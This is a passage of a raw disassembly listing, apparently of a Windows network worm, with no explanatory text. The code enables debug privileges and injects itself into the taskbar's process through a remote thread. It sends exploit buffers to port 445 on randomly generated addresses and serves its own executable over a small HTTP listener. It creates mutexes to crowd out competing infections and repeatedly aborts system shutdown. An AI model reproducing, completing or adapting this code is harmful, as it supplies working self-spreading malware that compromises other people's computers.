sub_314319BC+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31431A2F push 60h lea eax, [ebp+var_E4] push offset dword_314347C0 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31432EB2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31432EAC ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31432EAC ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31432EB2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31432EA6 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31432EA6 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31431164 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31431168 ; connect cmp eax, 0FFFFFFFFh jz loc_31431F12 mov esi, dword_3143109C mov edi, 0C8h push edi call esi ; dword_3143109C push ebx mov ebx, dword_3143116C push 89h push offset dword_314345A8 push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A8h push offset dword_31434634 push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0DEh push offset dword_314346E0 push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp eax, 46h jl loc_31431F07 cmp [ebp+var_730], 31h jnz loc_31431DB2 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31432EA6 ; memset add esp, 0Ch push offset byte_314342E0 call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31431088 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31432EB2 ; memcpy mov eax, dword_31434BE6 add esp, 0Ch mov [ebp+var_798], eax loc_31431C53: ; CODE XREF: sub_314319BC+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 68h push offset dword_31434824 push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0A0h push offset dword_31434890 push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 cmp [ebp+arg_0], 0 jz loc_31431EA2 push 68h lea eax, [ebp+var_89E4] push offset dword_31434A48 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31432EB2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31434AB4 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31432EB2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31434B28 push eax call sub_31432EB2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jz loc_31431F07 push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31431EFA ; --------------------------------------------------------------------------- loc_31431DB2: ; CODE XREF: sub_314319BC+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31432EA6 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31434C98 push eax call sub_31432EB2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31434C20 push eax call sub_31432EB2 ; memcpy add esp, 40h push offset byte_314342E0 call sub_31432EAC ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_314342E0 push eax call sub_31432EB2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31431E4E: ; CODE XREF: sub_314319BC+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31431E4E and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31432EA6 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31432EA6 ; memset add esp, 18h jmp loc_31431C53 ; --------------------------------------------------------------------------- loc_31431EA2: ; CODE XREF: sub_314319BC+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31434934 push eax call sub_31432EB2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31432EB2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_314349B4 push eax call sub_31432EB2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31431EFA: ; CODE XREF: sub_314319BC+3F1j push eax push [ebp+var_4] call ebx ; dword_3143116C push edi call esi ; dword_3143109C and [ebp+var_C], 0 loc_31431F07: ; CODE XREF: sub_314319BC+1ADj ; sub_314319BC+1E1j ... push 2 push [ebp+var_4] call dword_31431174 ; shutdown loc_31431F12: ; CODE XREF: sub_314319BC+166j push [ebp+var_4] call dword_31431178 ; closesocket pop esi loc_31431F1C: ; CODE XREF: sub_314319BC+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_314319BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431F23 proc near ; CODE XREF: UPX0:loc_31432531p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314310AC ; LoadLibraryA mov esi, dword_314310A8 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; dword_314310A8 test eax, eax mov [ebp+var_4], eax jz short loc_31431FA7 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; dword_314310A8 test eax, eax mov [ebp+var_8], eax jz short loc_31431FA7 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; dword_314310A8 mov esi, eax test esi, esi jz short loc_31431FA7 lea eax, [ebp+var_C] push eax push 20h call dword_314310A4 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31431FA7: ; CODE XREF: sub_31431F23+28j ; sub_31431F23+37j ... pop edi pop esi leave retn sub_31431F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31431FAB proc near ; CODE XREF: UPX0:31432545p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31435040 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314310B8 ; GetModuleHandleA mov esi, dword_314310A8 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; dword_314310A8 test eax, eax mov [ebp+var_10], eax jnz short loc_31431FF2 loc_31431FEE: ; CODE XREF: sub_31431FAB+54j push 1 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31431FF2: ; CODE XREF: sub_31431FAB+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; dword_314310A8 test eax, eax mov [ebp+var_14], eax jz short loc_31431FEE push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31431114 ; FindWindowA test eax, eax jnz short loc_31432020 call dword_31431118 ; GetForegroundWindow test eax, eax jnz short loc_31432020 push 2 jmp short loc_31432043 ; --------------------------------------------------------------------------- loc_31432020: ; CODE XREF: sub_31431FAB+65j ; sub_31431FAB+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_3143111C ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_314310B4 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31432046 push 3 loc_31432043: ; CODE XREF: sub_31431FAB+45j ; sub_31431FAB+73j pop eax jmp short loc_314320B1 ; --------------------------------------------------------------------------- loc_31432046: ; CODE XREF: sub_31431FAB+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_31431080 test eax, eax jz short loc_314320A4 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314310B0 ; WriteProcessMemory push dword_31435034 call esi ; dword_31431080 lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31432090 push eax call esi ; dword_31431080 jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_31432090: ; CODE XREF: sub_31431FAB+DEj push offset aUterm192 ; "uterm19-2" call sub_314320E4 pop ecx mov [ebp+var_4], 5 jmp short loc_314320AB ; --------------------------------------------------------------------------- loc_314320A4: ; CODE XREF: sub_31431FAB+B2j mov [ebp+var_4], 4 loc_314320AB: ; CODE XREF: sub_31431FAB+E3j ; sub_31431FAB+F7j push ebx call esi ; dword_31431080 mov eax, [ebp+var_4] loc_314320B1: ; CODE XREF: sub_31431FAB+99j pop edi pop esi pop ebx leave retn sub_31431FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320B6 proc near ; CODE XREF: sub_3143237F+Bp ; UPX0:31432507p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314310BC ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314310EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_314320B6 endp ; =============== S U B R O U T I N E ======================================= sub_314320E4 proc near ; CODE XREF: sub_31431FAB+EAp ; UPX0:31432511p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314310C0 ; CreateMutexA retn sub_314320E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314320F3 proc near ; CODE XREF: sub_3143256D+163p ; sub_3143256D+16Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread pop ebp retn sub_314320F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143210D proc near ; CODE XREF: sub_3143237F+12Cp ; sub_3143278A+59p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314310C4 ; CreateThread push eax call dword_31431080 ; CloseHandle pop ebp retn sub_3143210D endp ; =============== S U B R O U T I N E ======================================= sub_3143212E proc near ; CODE XREF: sub_314311A0+68p ; sub_31432C62+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31432156 loc_3143213F: ; CODE XREF: sub_3143212E+26j call dword_314310FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_3143213F loc_31432156: ; CODE XREF: sub_3143212E+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_3143212E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143215E proc near ; CODE XREF: sub_314311A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31432EA6 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314310C8 ; CreateProcessA push [ebp+var_C] mov esi, dword_31431080 mov edi, eax call esi ; dword_31431080 push [ebp+var_10] call esi ; dword_31431080 mov eax, edi pop edi pop esi leave retn sub_3143215E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314321B4 proc near ; CODE XREF: sub_31432810+3Ep ; sub_314328D7+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_31431150 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_314321D5 call dword_31431154 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_314321D5: ; CODE XREF: sub_314321B4+15j lea eax, [ebp+var_34] push eax call dword_31431158 ; gethostbyname test eax, eax jnz short loc_314321EA mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_314321EA: ; CODE XREF: sub_314321B4+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_314321B4 endp ; =============== S U B R O U T I N E ======================================= sub_314321F3 proc near ; CODE XREF: sub_3143185D+12p ; sub_31432728+21p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31431134 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_314321F3 endp ; =============== S U B R O U T I N E ======================================= sub_31432209 proc near ; CODE XREF: sub_3143256D+F4p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314310D0 ; OpenEventA test eax, eax jz short locret_31432222 push eax call dword_314310CC ; SetEvent locret_31432222: ; CODE XREF: sub_31432209+10j retn sub_31432209 endp ; =============== S U B R O U T I N E ======================================= sub_31432223 proc near ; CODE XREF: sub_3143185D+68p push esi mov esi, dword_314310FC push edi call esi ; dword_314310FC mov edi, eax shl edi, 10h call esi ; dword_314310FC or eax, edi pop edi pop esi retn sub_31432223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432239 proc near ; DATA XREF: sub_3143237F+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_31431170 ; recv cmp eax, 0FFFFFFFFh jnz short loc_3143226A push 1 jmp loc_31432325 ; --------------------------------------------------------------------------- loc_3143226A: ; CODE XREF: sub_31432239+28j mov esi, dword_31431104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; dword_31431104 pop ecx test eax, eax pop ecx jz loc_31432335 lea eax, [ebp+var_100] push offset dword_314341F0 push eax call esi ; dword_31431104 pop ecx test eax, eax pop ecx jz loc_31432335 mov esi, dword_3143116C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; dword_3143116C push dword_31435030 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_31431120 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31432EAC ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; dword_3143116C loc_314322E7: ; CODE XREF: sub_31432239+E8j mov eax, dword_31435030 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_314322F9 mov eax, ecx loc_314322F9: ; CODE XREF: sub_31432239+BCj test eax, eax jz short loc_31432328 push 0 push eax mov eax, dword_31435028 add eax, edi push eax push ebx call esi ; dword_3143116C cmp eax, 0FFFFFFFFh jz short loc_31432323 cmp eax, 1000h jb short loc_31432328 push 64h add edi, eax call dword_3143109C ; Sleep jmp short loc_314322E7 ; --------------------------------------------------------------------------- loc_31432323: ; CODE XREF: sub_31432239+D5j push 2 loc_31432325: ; CODE XREF: sub_31432239+2Cj pop eax jmp short loc_31432378 ; --------------------------------------------------------------------------- loc_31432328: ; CODE XREF: sub_31432239+C2j ; sub_31432239+DCj push offset dword_3143502C call dword_314310D8 ; InterlockedIncrement jmp short loc_31432353 ; --------------------------------------------------------------------------- loc_31432335: ; CODE XREF: sub_31432239+49j ; sub_31432239+61j mov esi, dword_3143116C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; dword_3143116C push 0 push 3 push offset dword_31434D64 push ebx call esi ; dword_3143116C loc_31432353: ; CODE XREF: sub_31432239+FAj push 7D0h call dword_3143109C ; Sleep push 2 push ebx call dword_31431174 ; shutdown push ebx call dword_31431178 ; closesocket push 0 call dword_314310D4 ; ExitThread xor eax, eax loc_31432378: ; CODE XREF: sub_31432239+EDj pop edi pop esi pop ebx leave retn 4 sub_31432239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143237F proc near ; DATA XREF: sub_3143256D+15Eo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_314320B6 lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_3143502C, ebx call sub_31432A49 add esp, 14h test eax, eax jnz loc_314324B4 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31431084 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_314323EB push 1 call dword_314310D4 ; ExitThread loc_314323EB: ; CODE XREF: sub_3143237F+62j push ebx push esi call dword_314310E0 ; GetFileSize push eax mov dword_31435030, eax call sub_31432E6C pop ecx mov dword_31435028, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31435030 push eax push esi call dword_314310DC ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31435030, eax call dword_31431080 ; CloseHandle push ebx push 1 push 2 call dword_3143115C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31432EA6 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_3143244D: ; CODE XREF: sub_3143237F+E5j ; sub_3143237F+EDj ... call dword_314310FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_3143503C, eax jz short loc_3143244D xor ecx, ecx mov cl, ah test cl, cl jz short loc_3143244D push eax call dword_31431164 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31431144 ; bind test eax, eax jnz short loc_3143244D push 64h push edi call dword_31431148 ; listen mov [ebp+var_8], esi pop esi loc_31432496: ; CODE XREF: sub_3143237F+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_3143114C ; accept push eax push offset sub_31432239 call sub_3143210D pop ecx pop ecx jmp short loc_31432496 ; --------------------------------------------------------------------------- loc_314324B4: ; CODE XREF: sub_3143237F+3Dj push ebx call dword_314310D4 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_3143237F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314324C3 proc near ; CODE XREF: sub_3143256D:loc_314326C5p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_31431140 push eax push 2 call esi ; dword_31431140 lea eax, [ebp+var_190] push eax push 102h call esi ; dword_31431140 pop esi leave retn sub_314324C3 endp ; --------------------------------------------------------------------------- loc_314324EF: ; CODE XREF: UPX1:31437DD8j push 0 call dword_314310B8 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31435040, eax call dword_31431074 ; DeleteFileA call sub_314320B6 push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax call dword_31431078 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31432531 push 1 call dword_314310E4 ; ExitProcess loc_31432531: ; CODE XREF: UPX0:31432527j call sub_31431F23 call sub_31432BAD call sub_31432D2E push offset sub_3143256D call sub_31431FAB test eax, eax pop ecx jz short loc_31432556 push 0 call sub_3143256D loc_31432556: ; CODE XREF: UPX0:3143254Dj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31432559 proc near ; CODE XREF: sub_3143256D:loc_314326EEp ; sub_31432728:loc_31432740p ... push 0 push dword_31435038 call dword_31431070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31432559 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143256D proc near ; CODE XREF: UPX0:31432551p ; DATA XREF: UPX0:31432540o var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31431190 push offset loc_31432EA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6Ch push ebx push esi push edi mov [ebp+var_78], offset aU10x ; "u10x" mov [ebp+var_74], offset aU11x ; "u11x" mov [ebp+var_70], offset aU12x ; "u12x" mov [ebp+var_6C], offset aU13x ; "u13x" mov [ebp+var_68], offset aU14x ; "u14x" mov [ebp+var_64], offset aU15x ; "u15x" mov [ebp+var_60], offset aU16x ; "u16x" mov [ebp+var_5C], offset aU17x ; "u17x" mov [ebp+var_58], offset aU18x ; "u18x" mov [ebp+var_54], offset aU19x ; "u19x" mov [ebp+var_50], offset aU8 ; "u8" mov [ebp+var_4C], offset aU9 ; "u9" mov [ebp+var_48], offset aU10 ; "u10" mov [ebp+var_44], offset aU11 ; "u11" mov [ebp+var_40], offset aU12 ; "u12" mov [ebp+var_3C], offset aU13 ; "u13" mov [ebp+var_38], offset aU13i ; "u13i" mov [ebp+var_34], offset aU14 ; "u14" mov [ebp+var_30], offset aU15 ; "u15" mov [ebp+var_2C], offset aU16 ; "u16" mov [ebp+var_28], offset aU17 ; "u17" mov [ebp+var_24], offset aU18 ; "u18" mov [ebp+var_20], offset aU19 ; "u19" mov [ebp+var_1C], offset aU20 ; "u20" push offset aU20x ; "u20x" xor edi, edi push edi push 1 push edi call dword_3143106C ; CreateEventA mov dword_31435038, eax mov [ebp+var_4], edi mov [ebp+var_7C], edi loc_31432654: ; CODE XREF: sub_3143256D+FDj cmp [ebp+var_7C], 0Ah jnb short loc_3143266C mov eax, [ebp+var_7C] push [ebp+eax*4+var_78] call sub_31432209 pop ecx inc [ebp+var_7C] jmp short loc_31432654 ; --------------------------------------------------------------------------- loc_3143266C: ; CODE XREF: sub_3143256D+EBj mov [ebp+var_7C], edi loc_3143266F: ; CODE XREF: sub_3143256D+118j cmp [ebp+var_7C], 0Eh jnb short loc_31432687 mov eax, [ebp+var_7C] push [ebp+eax*4+var_50] call sub_314320E4 pop ecx inc [ebp+var_7C] jmp short loc_3143266F ; --------------------------------------------------------------------------- loc_31432687: ; CODE XREF: sub_3143256D+106j cmp [ebp+arg_0], edi jz short loc_314326C5 push offset aWs2_32 ; "ws2_32" mov esi, dword_314310AC call esi ; dword_314310AC push offset aWininet ; "wininet" call esi ; dword_314310AC push offset aMsvcrt ; "msvcrt" call esi ; dword_314310AC push offset aAdvapi32 ; "advapi32" call esi ; dword_314310AC push offset aUser32 ; "user32" call esi ; dword_314310AC push offset aUterm20 ; "uterm20" call sub_314320E4 pop ecx mov dword_31435034, eax loc_314326C5: ; CODE XREF: sub_3143256D+11Dj call sub_314324C3 push edi push offset sub_3143237F call sub_314320F3 push edi push offset sub_3143185D call sub_314320F3 push edi push offset loc_31432933 call sub_314320F3 add esp, 18h loc_314326EE: ; CODE XREF: sub_3143256D+19Cj call sub_31432559 test eax, eax jnz short loc_3143270B push edi call dword_31431018 ; AbortSystemShutdownA push 1388h call dword_3143109C ; Sleep jmp short loc_314326EE ; --------------------------------------------------------------------------- loc_3143270B: ; CODE XREF: sub_3143256D+188j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_3143256D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432728 proc near ; DATA XREF: sub_3143278A+54o ; sub_31432810+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432737 push 1 pop eax jmp short locret_31432786 ; --------------------------------------------------------------------------- loc_31432737: ; CODE XREF: sub_31432728+8j mov al, byte ptr [ebp+arg_0+3] push ebx mov [ebp+var_1], al xor bl, bl loc_31432740: ; CODE XREF: sub_31432728+59j call sub_31432559 test eax, eax jnz short loc_31432783 call sub_314321F3 test eax, eax jz short loc_31432783 cmp [ebp+var_1], bl jz short loc_3143277C mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_314319BC pop ecx call dword_314310FC ; rand mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep loc_3143277C: ; CODE XREF: sub_31432728+2Dj inc bl cmp bl, 0FFh jb short loc_31432740 loc_31432783: ; CODE XREF: sub_31432728+1Fj ; sub_31432728+28j xor eax, eax pop ebx locret_31432786: ; CODE XREF: sub_31432728+Dj leave retn 4 sub_31432728 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3143278A proc near ; DATA XREF: sub_31432810+7Eo ; UPX0:314329CAo arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31432798 push 1 pop eax jmp short loc_3143280C ; --------------------------------------------------------------------------- loc_31432798: ; CODE XREF: sub_3143278A+7j push esi push edi call sub_314320B6 mov esi, dword_314310FC xor edi, edi loc_314327A7: ; CODE XREF: sub_3143278A+7Cj call sub_31432559 test eax, eax jnz short loc_31432808 call sub_314321F3 test eax, eax jz short loc_31432808 call esi ; dword_314310FC mov byte ptr [ebp+arg_0+2], al call esi ; dword_314310FC push offset dword_31435044 mov byte ptr [ebp+arg_0+3], al call dword_314310D8 ; InterlockedIncrement push [ebp+arg_0] call sub_314319BC test eax, eax pop ecx jnz short loc_314327EA push [ebp+arg_0] push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314327EA: ; CODE XREF: sub_3143278A+4Fj call 